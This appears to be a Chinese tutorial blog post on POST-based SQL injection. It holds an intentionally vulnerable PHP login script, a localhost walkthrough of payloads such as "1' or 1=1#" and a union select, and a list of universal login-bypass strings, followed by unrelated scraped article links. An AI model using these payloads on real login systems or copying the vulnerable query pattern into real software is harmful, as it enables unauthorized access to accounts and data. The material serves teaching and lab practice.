1、代码篇

</html>
<center>
<form action="#" method="post">
姓名:<input type="text" name="user"><br>
密码:<input type="text" name="pass"><br>
<input type="submit" name="submit" value="提交">
</center>
</html>
<?php
/*************************
author:Bloodero
sql_injection_post
*************************/ include("../conn.php");
error_reporting(0);
if(isset($_POST['submit'])){
if(!empty($_POST['user']) && !empty($_POST['pass'])){
$user=$_POST['user'];
$pass=$_POST['pass'];
echo "你当前输入用户名:".$user."<br>";
echo "你当前输入密码:".$pass."<br>";
$sql="select * from user where username='$user' and password='$pass'";
$res=mysql_query($sql);
$row=mysql_fetch_array($res);
if(empty($row)){
echo "<script>alert('登陆失败')</script>";
}
else{
echo "当前用户:<br>";
echo "id:".$row['id']."<br>";
echo "username:".$row['username']."<br>";
echo "password:".$row['password']."<br>";
}
}
else{
echo "<script>alert('用户名/密码不能为空')</script>";
}
}
else{
exit();
}
?>

2、注入篇:http://localhost/pentest/sql/sql_injection_post.php

正确输入:

你当前输入用户名:admin
你当前输入密码:pass
当前用户:
id:1
username:admin
password:pass

尝试注入:

你当前输入用户名:1'
你当前输入密码:1 登陆失败
你当前输入用户名:1' #
你当前输入密码:1 登陆失败
你当前输入用户名:1' or 1=1#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass 登陆成功
你当前输入用户名:1' or 1=2#
你当前输入密码:1 登陆失败

这里我解释一下原理:

当我们闭合了where语句,然后再后面接or 1=2时,这时候恒假,所以不会有结果;

当我们接or 1=1时,恒真,所以就会查询所有;

你当前输入用户名:1' and 1=2 union select * from user#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass

这里的原理不懂的可以去看看第一发sql_injection;

3、防注入

对post过来的数据,进行处理;会有一篇进行详细讲解

4、通过post注入,引生的万能密码

"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
admin' or 'a'='a 密码随便
'or 1=1/*
User: something Pass: ' or '1'='1
1'or'1'='1
admin' or 1=1/*

sql_injection之post注入的更多相关文章

  1. sql_injection之基本get注入

    1.代码篇 <?php error_reporting(0); include("../conn.php"); if(isset($_GET['id'])){ $id=$_G ...

  2. 另类的SQL注入方法

    前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/ ...

  3. 利用insert,update和delete注入获取数据

    0x00 简介 利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的.那么,当我们发现了一个基于i ...

  4. SQL 注入防御方法总结

    SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入可以参见:https://en.wikipedia.org/wiki/SQL_injection S ...

  5. ModSecurity SQL注入攻击

    ModSecurity是 一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecur ...

  6. SQL注入攻击技巧总结

    0×01 你要知道目前有哪些数据库 微软公司旗下的: Microsoft SQL server 简称 MS-SQL 或者 SQL SERVER (大型数据库操作,功能和性能异常强大)(一般也是ASP或 ...

  7. PHP防止SQL注入与几种正则表达式讲解

    注入漏洞代码和分析 代码如下: <?php function customerror($errno, $errstr, $errfile, $errline) {     echo <b& ...

  8. 防御SQL注入的方法总结

    这篇文章主要讲解了防御SQL注入的方法,介绍了什么是注入,注入的原因是什么,以及如何防御,需要的朋友可以参考下   SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难 ...

  9. PHP防SQL注入攻击

    PHP防SQL注入攻击 收藏 没有太多的过滤,主要是针对php和mysql的组合. 一般性的防注入,只要使用php的 addslashes 函数就可以了. 以下是一段copy来的代码: PHP代码 $ ...

随机推荐

  1. Django 2.0 学习(20):Django 中间件详解

    Django 中间件详解 Django中间件 在Django中,中间件(middleware)其实就是一个类,在请求到来和结束后,Django会根据自己的规则在合适的时机执行中间件中相应的方法. 1. ...

  2. 在java中为什么要把main方法定义为一个static方法?

    我们知道,在C/C++当中,这个main方法并不是属于某一个类的,它是一个全局的方法,所以当我们执行的时候,c++编译器很容易的就能找到这个main方法,然而当我们执行一个java程序的时候,因为ja ...

  3. 【转】Microsoft Visio2010 如何画UML 图

    转载:http://sdoq19.blog.163.com/blog/static/1910392122012419103442292/ 1.在Microsoft Office2010中打开Micro ...

  4. 【刷题】BZOJ 3529 [Sdoi2014]数表

    Description 有一张n×m的数表,其第i行第j列(1<=i<=n,1<=j<=m)的数值为能同时整除i和j的所有自然数之和.给定a,计算数表中不大于a的数之和. In ...

  5. 【BZOJ1150】数据备份(动态规划,凸优化)

    [BZOJ1150]数据备份(动态规划,凸优化) 题面 BZOJ 洛谷 题解 在不考虑\(K\)的情况下很容易\(dp\) 如果把\(K\)考虑进状态显然是\(O(n^2)\)级别. 所以凸优化一下即 ...

  6. linux内核分析 第八周读书笔记

    第四章 进程调度 4.1 多任务 1.多任务操作系统就是能同时并发的交互执行多个进程的操作系统. 2.多任务操作系统使多个进程处于堵塞或者睡眠状态,实际不被投入执行,这些任务尽管位于内存,但是并不处于 ...

  7. linux内核分析 第七周读书笔记

    第七章 链接 1.链接是将各种代码和数据部分收集起来并组合成为一个单一文件的过程,这个文件可被加载到存储器并执行. 2.链接可以执行于编译时,加载时,运行时. 7.1编译器驱动程序 1.大多数编译系统 ...

  8. debian7编译安装tengine添加lua和ldap模块

    1.安装开发环境 # aptitute update # aptitude install -y build-essential # aptitude install -y libldap2-dev ...

  9. HTTP状态码的含义: 200:400:403:404:408:500:503:504

    http协议的状态码 1xx(临时响应) 表示临时响应并需要请求者继续执行操作的状态码. 100(继续) 请求者应当继续提出请求.服务器返回此代码表示已收到请求的第一部分,正在等待其余部分. 101( ...

  10. webpack 多页面|入口支持和公共组件单独打包--转载

    转载自:http://www.jb51.net/article/117490.htm 本篇主要介绍:如何自动构建入口文件,并生成对应的output:公共js库如何单独打包. 多入口文件,自动扫描入口. ...